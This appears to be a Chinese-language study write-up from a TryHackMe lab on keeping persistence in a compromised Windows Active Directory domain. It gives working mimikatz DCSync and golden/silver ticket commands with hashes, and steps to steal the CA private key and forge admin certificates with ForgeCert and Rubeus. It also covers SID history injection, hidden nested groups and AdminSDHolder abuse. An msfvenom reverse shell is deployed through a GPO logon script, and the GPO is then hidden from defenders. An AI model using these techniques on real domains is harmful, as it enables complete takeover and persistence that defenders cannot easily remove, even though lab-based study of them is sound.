Windows域-权限维持
这里的使用这个的前提就是已经拿下域控了 并且拿下管理员账户了
为了防止蓝队把我们踢出局 所以执行这个是必要的
DC Sync
介绍
DCSync是mimikatz的一个功能,能够模拟域控制器并从域控制器导出帐户密码hash
在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。
DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
新版本的 Mimikatz新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是可以实现不登录到域控而获取域控上的数据
当获得了域内管理员权限,如果能修改域内普通用户的权限,使其具有DCSync权限的话,那么普通域用户也能导出域内用户的哈希,这样可以做一个隐蔽的权限维持。默认只有域控主机账号和域管理员能Dcsync,域管和邮件服务器的机器账号有写ACL的权限,可以给指定用户添加Dcsync来dump域哈希。
利用(导出hash)
导出域用户hash,需获取以下任意用户的权限:
- Administrators组内的用户
- Domain Admins组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
四个用户的简介
在我们拿下这个域控之后 我们就可以dump全部人的hash值了
这里是获取krbtgt的hash值 如果想要获取全部人的hash值得话
dump所有人得hash值 并且以csv的格式进行输出
其实在这里的话我们是可以在获取这个krbtgt的hash值情况下 进行创建黄金票据来注入内存 来使这台计算机具有管理员权限 这里的话就使用别的方法
维持(给别的计算机添加管理员权限)
DCsync是几个权限的集合体,如果使其具有DCSync权限的话,可以使用powerview.ps1向域内普通用户添加如下三条ACE(Access Control Entries):
在域管用户的机器上执行 给别的机器上的普通用户yuwin7添加以上三条ACE
1 | #添加ACE |
这里的话普通用户yuwin7就能执行管理员权限还dump出所有人的hash值了
黄金票据和白银票据
其实这里的话在之前的几个模块就已经写过了 但是为了加深印象和总结 就重新在写一遍 加深印象
在学习这两个协议之前 可以先去看看我之前写的一篇这个关于 Kerberos协议的文章
学习这个的前提还是得先了解kerberos
协议的身份验证流程
然后了解一下会用到的东西
- KDC(Key Distribution Center): 密钥分发中心,里面包含两个服务:AS和TGS
- AS(Authentication Server): 身份认证服务
- TGS(Ticket Granting Server): 票据授予服务
- TGT(Ticket Granting Ticket): 由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时
- Pass The Ticket: 如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限
这里的话就不多介绍了 因为在上面给了一篇文章详细的讲了这个流程
黄金票据
黄金门票是伪造的TGT。这意味着我们绕过上图的步骤 1 和 2,在那里我们向 DC 证明我们是谁 可以说有了金票就有了域内的最高权限
每个用户的Ticket都是由krbtgt的密码Hash来生成的,那么,我们如果拿到了krbtgt的密码Hash,其实就可以伪造任意用户的TICKET,
对于攻击者来说,实际上只要拿到了域控权限,就可以直接导出krbtgt的Hash值,,再通过mimikatz即可生成任意用户任何权限的Ticket,也就是Golden Ticket。
这就是黄金票据和白银票据的生成过程
黄金票据特点
- 域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟,这意味着攻击者可以使用禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。
简单点说就是我们绕过了KDC来创建TGT了 但是KDC会验证我们TGT票据里的用户是否有效 证明有效的前提就是该用户的时间戳不超过20分钟 (未被禁用、删除或不存在——-> 这些用户都是符合的)
- 由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10 年,那么也会信任票据的有效性期为10年。
- 该KRBTGT帐户密码从不更改*和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在。
- 它绕过了SmartCard身份验证要求,因为它绕过了DC在创建TGT之前执行的常规验证。
- .这个精心创建的TGT要求攻击者拥有Active Directory域的KRBTGT密码哈希值(通常从域控制器转储)。
- KRBTGT NTLM哈希可用于生成一个有效的TGT(使用RC4)模拟任何用户访问Active Directory中的任何资源。
- 在主机上都可以生成和使用黄金票据(TGT),即使没有加入域也是如此。只要网络可以访问域。
- 用于从AD森林中的DC获取有效的TGS票据,并提供一个坚持在一切域访问所有的主机的好办法。
制作条件
1 | 1、域名称 |
制作步骤
1.导出krbtgt的Hash
金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的
1 | lsadump::dcsync /domain:za.tryhackme.loc /user:krbtgt@za.tryhackme.loc |
2.生成Golden Ticket
得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT。
1 | /admin:伪造的用户名 |
1 | kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /ticket:golden.kiribi |
3. 导入伪造Golden Ticket获得域控权限
通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。
1 | kerberos::purge |
这样成功伪造这台计算机的本地管理员用户了 然后以后这台计算机登录的任何用户都获得这个本地管理员的权限 因为已经注入到内存中了
此时就可以通过dir成功访问域控的共享文件夹。
注意
- 这种方式导入的Ticket默认在20分钟以内生效,如果过期了,再次ptt导入Golden Ticket即可。
- 可以伪造任意用户,即使其不存在。
- krbtgt的NTLM hash不会轻易改变,即使修改域控管理员密码。
白银票据
Silver Tickets(下面称银票)就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值) 就是说计算机已经固定了,所以银票只能访问指定服务。
银票是伪造的TGS门票。所以现在,我们跳过了与 DC 上的 K DC 进行的所有通信(上图中的步骤 1-4),只与我们希望直接访问的服务进行接口
这里的话我在这个 Kerberos协议中 已经详细的介绍了 和黄金票据一样 先去了解一下
白银票据认证流程
白银票据特点
- .白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。
- 黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。
- 大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC
- 攻击者需要服务帐户密码哈希值
- TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。
- 任何事件日志都在目标服务器上。
制作条件
1 | 1.域名称 |
白银票据的服务列表
1 | 服务名称 同时需要的服务 |
制作步骤
1.获取hash sid等信息
首先我们需要知道服务账户的密码HASH 这里我们获取的不是本地计算机的hash值 我们获取的是这台计算机的hash值
2.伪造白银票据
这时得到了THMWRK1$的HASH值,通过mimikatz生成银票。
1 | /domain:当前域名称 |
1 | kerberos::golden /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185 /target:thmwrk1.za.tryhackme.loc /service:cifs /rc4:c19d46ece8776ef0c4697daad3b6b13f /user:silver /ptt |
这样的话我们就可以访问这个DC的共享文件夹了
这里我们只是伪造了这个cifs
(DC共享文件夹访问权限) 其实上面还给了好几种访问 我们也是可以进行伪造的
各种服务中的示例
Service Type | Service Silver Tickets |
---|---|
WMI | HOST RPCSS |
PowerShell Remoting | HOST HTTP |
WinRM | HOST HTTP |
Scheduled Tasks | HOST |
Windows File Share (CIFS) | CIFS |
LDAP operations includingMimikatz DCSync | LDAP |
Windows Remote Server Administration Tools | RPCSS LDAP CIFS |
上述服务我们都是可以进行伪造的
并且就是可以利用这些远程的服务进行远程控制 (这里就不写了 在上面的那篇参考文章里面有 可以自己去查看)
黄金票据和白银票据的区别
1.访问权限不同
- Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限
- Silver Ticket: 伪造TGS,只能访问指定的服务
2.加密方式不同
- Golden Ticket 由Kerberos的Hash—> krbtgt加密
- Silver Ticket 由服务器端密码的Hash值—> master key 加密
3.认证流程不同
- Golden Ticket 的利用过程需要访问域控(KDC)
- Silver Ticket 可以直接跳过 KDC 直接访问对应的服务器
通过证书实现持久性
这里的话我们之前的一个房间里也讲过这个证书是什么 当时我们是利用这个证书模板来进行权限提审 获取到了这个管理员账户
什么是证书
AD 证书服务 (CS) 是 Microsoft 的公钥基础结构 (PKI) 实现。由于AD在组织中提供了一定程度的信任,因此它可以用作CA来证明和委托信任。AD CS用于多种用途,例如加密文件系统,创建和验证数字签名,甚至用户身份验证,使其成为攻击者的有前途的途径。
由于 AD CS 是一项特权功能,因此它通常在选定的域控制器上运行。这意味着普通用户无法真正直接与服务交互
CA是证书颁发机构
根据我们的访问权限,我们可以更进一步。我们可以简单地窃取根 CA 证书的私钥,以便在我们愿意时生成我们自己的证书。更糟糕的是,由于这些证书从未由CA颁发,蓝队无法撤销它们—(因为这是我们自己生成的 )。这对蓝队来说会更糟,因为这意味着CA的轮换,这意味着蓝队必须撤销所有颁发的证书才能将我们踢出局。想象一下,您刚刚花了两天时间通过轮换每个特权帐户的凭据,重置所有金票和银票来执行域收回,只是为了意识到攻击者通过成为您的CA来坚持。
提取私钥
CA 的私钥存储在 CA 服务器本身上。如果私钥未通过基于硬件的保护方法(如硬件安全模块 (HSM))进行保护,对于仅将 Active Directory 证书服务 (AD CS) 用于内部目的的组织来说,这种情况通常如此,则它受计算机数据保护 API (DPAPI) 的保护。这意味着我们可以使用Mimikatz和SharpDPAPI等工具来提取CA证书,从而从CA中提取私钥
1.我们先来看看是否可以查看存储在 DC 上的证书:
1 | crypto::certificates /systemstore:local_machine |
- crypto::certificates: 这是mimikatz的一个模块,用于操作证书相关的功能。
- /systemstore:local_machine: 这是指定操作系统存储区的参数,其中”local_machine”表示本地计算机的系统存储区。
这里解释一下获取的各个参数的含义
- System Store:系统存储区的名称,这里是”local_machine”,表示本地计算机的系统存储区。
- Store:证书存储区的名称,这里是”My”,表示个人证书存储区。
接下来是一个具体的证书信息:
- Subject:证书的主题,即证书所涉及的实体或组织。
- Issuer:证书的颁发者,即签发该证书的实体或组织。
- Serial:证书的序列号,用于唯一标识证书。
- Algorithm:证书使用的加密算法。
- Validity:证书的有效期,包括起始时间和结束时间。
- Hash SHA1:证书的SHA1哈希值,用于唯一标识证书。
- Key Container:证书的密钥容器,用于存储与该证书关联的密钥。
- Provider:证书的加密提供程序,这里是”Microsoft RSA SChannel Cryptographic Provider”。
- Provider type:提供程序的类型,这里是RSA_SCHANNEL (12)。
- Type:密钥类型,这里是AT_KEYEXCHANGE,表示该证书用于密钥交换。
- Provider name:提供程序的名称。
- Key Container:密钥容器的名称。
- Unique name:密钥容器的唯一名称。
- Implementation:加密实现的类型。
- Algorithm:加密算法的类型。
- Key size:密钥的长度。
- Key permissions:密钥的权限。
- Exportable key:密钥是否可导出。
我们可以看到 DC 上有一个 CA 证书。我们还可以注意到,其中一些证书设置为不允许我们导出密钥(因为就是Exportable key 为No 所以就不能导出)。如果没有此私钥,我们将无法生成新证书。幸运的是,Mimikatz 允许我们修补内存以使这些键可导出:
1 | mimikatz # privilege::debug |
1 | crypto::certificates /systemstore:local_machine /export |
绕过上面的这个Exportable key
限制 成功的导出了证书和私钥
导出的证书将以 PFX 和 DER 格式存储到磁盘:
‘localmachine_My_0.pfx’文件应该包含了私钥和相应的证书,可以用于在其他环境中导入和使用该私钥。
‘localmachine_My_0.der’文件应该包含了一个公钥的导出结果。公钥是在加密和数字签名等过程中使用的关键信息,它可以被其他人使用来验证数字签名或加密数据。导出的公钥文件可以在其他环境中导入并用于进行加密和验证操作。
这样子的话我们就能获取到所有证书了
证书 za-THMDC-CA.pfx
是我们特别感兴趣的证书。为了导出私钥,必须使用密码来加密证书。默认情况下,Mimikatz 分配的密码为 mimikatz
生成我们自己的证书
现在我们有了私钥和根CA证书,我们可以使用SpectorOps ForgeCert工具为我们想要的任何用户伪造客户端身份验证证书。ForgeCert
和Rubeus
二进制文件是我们生成证书要用到的工具
这里我们在获取到这个管理员证书后 我们可以将这个证书复制到别的低权限用户出 任何来给该用户伪造证书
1 | ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123 |
- CaCertPath - 导出的 CA 证书的路径。
- CaCertPassword - 用于加密证书的密码。默认情况下,Mimikatz 分配的密码
mimikatz
为 。 - Subject - 证书的使用者或公用名。这在我们将使用证书的上下文中并不重要。
- SubjectAltName-这是我们要使用此证书模拟的帐户的用户主体名称 (UPN)。它必须是合法用户。
- NewCertPath - ForgeCert 将存储生成的证书的路径。
- NewCertPassword - 由于证书需要导出私钥进行身份验证,因此我们必须设置用于加密它的新密码。
验证证书是否伪造成功
我们可以使用 Rubeus 使用证书请求 TGT,以验证证书是否受信任。我们将使用以下命令:
1 | Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:fullAdmin.pfx /password:Password123 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.x.101 |
这里的password
是上面生成证书用到的NewCertPassword
- /user - 这指定我们将模拟的用户,并且必须与我们生成的证书的 UPN 匹配
- /enctype - 指定票证的加密类型。设置此项对于规避很重要,因为默认加密算法很弱,这会导致哈希超交警报
- /certificate - 我们生成的证书的路径
- /password - 证书文件的密码
- /outfile - 我们的 TGT 将输出到的文件
- /domain - 我们当前攻击的域的 FQDN
- /dc - 我们从中请求 TGT 的域控制器的 IP。通常,最好选择运行 CA 服务的 DC
执行命令后,我们应该收到我们的 TGT:
1 | Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:tryhackme /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.x.101 |
验证TGT是否有效
1 | mimikatz # kerberos::ptt administrator.kirbi |
然后访问域控共享文件夹
能访问成功就是有效
这样的话本地管理员账户就伪造成功了 这样的话普通用户也具有了管理员的权限 并且这样的话就是即使修改管理员密码也不影响我们证书的使用
并且就是我们是自己导出私钥来自己生成的证书 那么在AD -CS中是找不到我们的证书的 所以是删除不掉的
那么想要删除的话就必须删除整个CA来使全部的CS失效才行 这样的话蓝队的工作量就会非常大了 这样子的话还会影响整个域的运行 可能会导致重建系统
这个就是无需获取hash密码的权限维持
通过 SID 历史记录保持
这个的话我在打春秋云镜的Time靶机的时候遇到过 参考文章
SID作用
SID 用于在连接到资源时跟踪安全主体和帐户的访问权限。但是,帐户上有一个有趣的属性,称为 SID 历史记录 SID History是在域迁移过程中需要使用的一个属性。
如果A域中的域用户迁移到B域中,那么该用户的SID值就会改变,进而其权限也会改变。导致迁移后的用户无法访问以前可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,如果迁移后用户的SID值改变,系统会将原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源—————(这句话就关键了 如果我们拿下域控后 将域控管理员的SID赋值给任意一个低权限用户的话 那么该低权限用户就拥有和域控管理员一样的权限了)。使用mimikatz可以将SID History属性添加到任意用户的SID History属性中。在渗透测试中,如果获得了域管理员权限(或者等同于域管理员权限),就可以将SID History作为实现持久化的方法。
SID-History利用
- 先去查看低权限用户的SID-History是否为空
这确认我们的用户当前未设置任何 SID 历史记录。让我们获取域管理员组的 SID,因为这是我们要添加到 SID 历史记录的组:
- 获取域控管理员账户的SID-History
这里的话我们就可以成功获取这个域控管理员的SID了
- 添加SID-History
我们可以使用类似Mimikatz的东西来添加SID历史记录。但是,最新版本的Mimikatz有一个缺陷,不允许它修补LSASS以更新SID历史记录。因此,我们需要使用其他东西。在这种情况下,我们将使用 DSInternals 工具直接修补 ntds.dit 文件,即存储所有信息的 AD 数据库:
PS C:\Users\Administrator.ZA> Import-Moduls DSInternals
PS C:\Users\Administrator.ZA>Stop-Service -Name ntds -force
PS C:\Users\Administrator.ZA> Add-ADDBSidHistory -SamAccountName ‘username of our low-priveleged AD account’ -SidHistory ‘SID to add to SID History’ -DatabasePath C:\Windows\NTDS\ntds.dit
PS C:\Users\Administrator.ZA>Start-Service -Name ntds
这里靶场不知道抽啥风了 报错没成功 反正就是按照上面三步走就行了
还有一点就是 如果使用mimikatz
的话也是可以的 但是要注意版本 有些版本是不行的 会报错
就是会爆出这个错误
1 | # 将高权限的 SID History 属性注入 |
mimikatz有些版本就会支持这样做
通过组成员身份实现持久性
如果我们不想篡改 SID 历史记录,可以直接将自己添加到 AD 组中以实现持久性。虽然 SID 历史记录是一种很好的持久性技术,但凭据轮换和清理仍然可以删除持久性。在某些情况下,最好通过以 AD 组本身为目标来执行持久性。
通过组成员身份实现持久性
特权最高的帐户或组并不总是最适合用于持久性。特权组比其他组更密切地监视更改。任何归类为受保护组的组(如域管理员或企业管理员)都会受到额外的安全审查。因此,如果我们想通过组成员身份坚持下去,我们可能需要在将自己的帐户添加到的组上发挥创意,以实现持久性:
嵌套组
这个组才是这里的关键 等会就是使用这个组来进行持久化
在大多数组织中,有大量的递归组。递归组是作为另一个组成员的组。我们可以将其视为群体嵌套。组嵌套用于在 AD 中创建更有条理的结构。以 IT 支持组为例。IT 支持非常通用。因此,也许此组下有帮助台、访问卡管理器和网络管理员等子组。我们可以将所有这些组作为成员添加到 IT 支持组,从而为这些子组中的所有用户提供与 IT 支持组关联的权限和特权,但随后我们可以为每个子组分配更精细的权限和特权。
虽然组嵌套有助于组织 AD,但它确实降低了有效访问的可见性。再次以我们的 IT 支持为例。如果我们向 AD 查询 IT 支持组的成员身份,它将以 3 计数进行响应。但是,这个计数并不真实,因为它是三组。为了了解有效访问,我们现在还必须枚举这些子组。但这些子组也可以有子组。所以问题变成了:“我们应该枚举多少层才能获得真正的有效访问号码?
这也成为一个监控问题。例如,假设我们有一个警报,当将新成员添加到域管理员组时,该警报会触发。这是一个很好的警报,但如果将用户添加到域管理员组中的子组,则不会触发。这是一个非常常见的问题,因为 AD 由 AD 团队管理,警报和监视由 InfoSec 团队管理。我们所需要的只是一点点沟通不畅,并且警报不再有效,因为使用了子组。
作为攻击者,我们可以利用这种降低的可见性来执行持久性。我们没有针对为我们提供环境访问权限的特权群体,而是将注意力集中在子群体上。我们不会将自己添加到会引发警报的特权组中,而是将自己添加到未受监视的子组中。
上面就是为什么要用这个嵌套组的原因了
利用嵌套组
让我们模拟这种类型的持久性。为了允许其他用户也执行该技术,请确保在你创建的所有组前面加上您的用户名。为了模拟持久性,我们将创建一些自己的组。让我们首先创建一个新的基本组,我们将隐藏在人员>IT 组织单位 (OU) 中:
- 第一步
1 | PS C:\Users\Administrator.ZA>New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security |
- 第二步
现在,让我们在人员>销售 OU 中创建另一个组,并将我们以前的组添加为成员:
1 | PS C:\Users\Administrator.ZA>New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security |
- 第三步
我们可以再这样做几次,每次将前一个组添加为成员:
1 | PS C:\Users\Administrator.ZA> New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 3" -SamAccountName "<username>_nestgroup3" -DisplayName "<username> Nest Group 3" -GroupScope Global -GroupCategory Security |
对于最后一个组,现在让我们将该组添加到域管理员组:
1 | PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5" |
最后,让我们将低特权 AD 用户添加到我们创建的第一个组中:
1 | PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>" |
最后生成的嵌套组的样子
IT——>OU
第五组—————(IT组)
第四组
第三组
第二组
第一组————(IT组)
就是这样的嵌套模式 其他组是啥就无所谓了
然后我们ssh—-登录低权限用户
执行dir \\thmdc.za.tryhackme.loc\c$\
我们还要验证一下,即使我们创建了多个组,域管理员组也只有一个新成员:
危害性
如果这是一个真正的组织,我们就不会创建新的团体来嵌套。相反,我们将利用现有组来执行嵌套。然而,这是你在正常的红队评估中永远不会做的事情,而且几乎总是在这一点上脱链,因为它破坏了组织的AD结构,如果我们充分打破它,他们将无法恢复。在这一点上,即使蓝队能够把我们踢出去,该组织很可能仍然必须从头开始重建他们的整个AD结构,从而导致重大损失。
就是证书伪造一样 危害性比较大 在正常的红队评估里面是不太会用到的 因为可能回导致整个域的重组
通过 ACL 实现持久性
通过 AD 组模板持久化
上面的嵌套组的话有个缺点就是会被蓝队发现并删除 但是如果我们注入到生成默认组的模板中。通过注入这些模板,即使它们删除了我们的会员资格,我们只需要等到模板刷新,我们将再次被授予会员资格。
(这就和注入嵌套组不一样了 因为这里的话即使组被删除了 等模板刷新 我们的组还是会重新生成)
一个这样的模板是 AdminSDHolder 容器。此容器存在于每个 AD 域中,其访问控制列表 (ACL) 用作模板,用于将权限复制到所有受保护组。受保护组包括特权组,例如域管理员、管理员、企业管理员和架构管理员
一个名为 SDProp 的进程获取 AdminSDHolder 容器的 ACL,并每 60 分钟将其应用于所有受保护组。因此,我们可以编写一个 ACE,该 ACE 将授予我们对所有受保护组的完全权限 (这里的意思就是我们可以随意更改这些保护组 或者执行其他操作)。如果蓝队不知道正在使用这种类型的持久性,那将是相当令人沮丧的。每次他们删除对受保护对象或组的不当权限时,该权限都会在一小时内重新出现。由于此重建是通过正常的AD过程进行的,因此它也不会向蓝队显示任何警报,因此更难查明持久性的来源。
利用 AdminSDHolder
这里登录先登录一个低权限用户 不用直接登录域控主机 因为rdp的话会把域控管理员踢出会话
登录之后再使用 runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exe
将域控管理员凭证进行注入
然后我们就拥有域控管理员权限了 然后在执行MMC
然后在模板处 将我们这个低权限用户假如到该模板中
现在我们只需要等待 60 分钟,我们的用户就可以完全控制所有受保护组。这是因为安全描述符传播器 (SDProp) 服务每 60 分钟自动执行一次,并将此更改传播到所有受保护组
(也可以将自己添加到域控管理员中)
通过 GPO 实现持久性
域范围的持久性
以下是一些常见的 GPO 持久性技术:
- 受限组成员身份 - 这可能允许我们对域中的所有主机进行管理访问
(因为受限组成员就是只能执行某些权限 相当于委派一样 如果我们拿下域控的话 我们就可以给这些组用户一些高级权限来访问其他主机)
- 登录脚本部署 - 这将确保每次用户向域中的主机进行身份验证时,我们都会收到 shell 回调。
利用GPO
在我们创建之前 先使用msfvenom
来生成这个exe和bat文件
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > <username>_shell.exe |
Windows允许我们通过登录GPO执行Batch或PowerShell脚本。批处理脚本通常比 PowerShell 脚本更稳定,因此让我们创建一个将可执行文件复制到主机并在用户进行身份验证后执行它
1 | scp am0_shell.exe za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/ |
使用scp将在自己服务器上生成的文件上传到这个windows主机上
然后打开监听
1 | msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit" |
配置GPO
上面该生成的文件已经生成完了 我们现在就是配置GPO策略 来使某些用户登录时自动执行我们构造的恶意脚本
这个目录就是专门存放这些脚本的
- rdp登录域控主机后
执行mmc
命令 然后添加组策略管理”管理单元“
然后选择Admins这个OU 添加组策略
右键单击您的策略,然后选择“已强制”。这将确保您的策略将适用,即使存在冲突的策略。这有助于确保我们的 GPO 优先,即使蓝队编写了将删除我们更改的策略。
让我们回到组策略管理编辑器:
- 在“用户配置”下,展开“策略->Windows 设置”。
- 选择“脚本(登录/注销)”。
- 右键单击登录>属性
- 选择“脚本”选项卡。
- 单击“添加>浏览”。
选择批处理文件作为脚本,然后单击“打开”和“确定”。 单击“应用”和“确定”。
那么现在这些OU里面的管理员用户只要一登录 脚本就会自动执行 我们这边就会监听到shell
隐藏GPO
我们虽然这样做了 但是为了不让蓝队轻易的发现我们设置的GPO 我们还得进行隐藏
返回到 MMC 窗口,单击策略,然后单击“委派”:
默认情况下,所有管理员都可以编辑 GPO。让我们删除这些权限:
- 右键单击“企业域控制器”,然后选择“编辑设置、删除、修改安全性”。
- 单击所有其他组(经过身份验证的用户除外),然后单击删除。
然后就留下这些委派就行了
单击高级并从权限中删除创建的所有者:
默认情况下,所有经过身份验证的用户都必须能够读取策略。这是必需的,因为否则,当用户进行身份验证以应用用户策略时,用户帐户无法读取策略,那么就无法执行我们的脚本了
我们可以将“经过身份验证的用户”替换为“域计算机”,以确保计算机仍可以读取和应用策略,但阻止任何用户读取策略。
(这样的话就只有计算机的管理员用户能够读取了 我们使用用户登录的话就不能进行读取了)
- 单击添加。
- 键入“域计算机”,单击“检查名称”,然后单击“确定”。
- 选择读取权限,然后单击确定。
- 单击经过身份验证的用户,然后单击删除。
这样的话我们就不能读取这个GPO策略了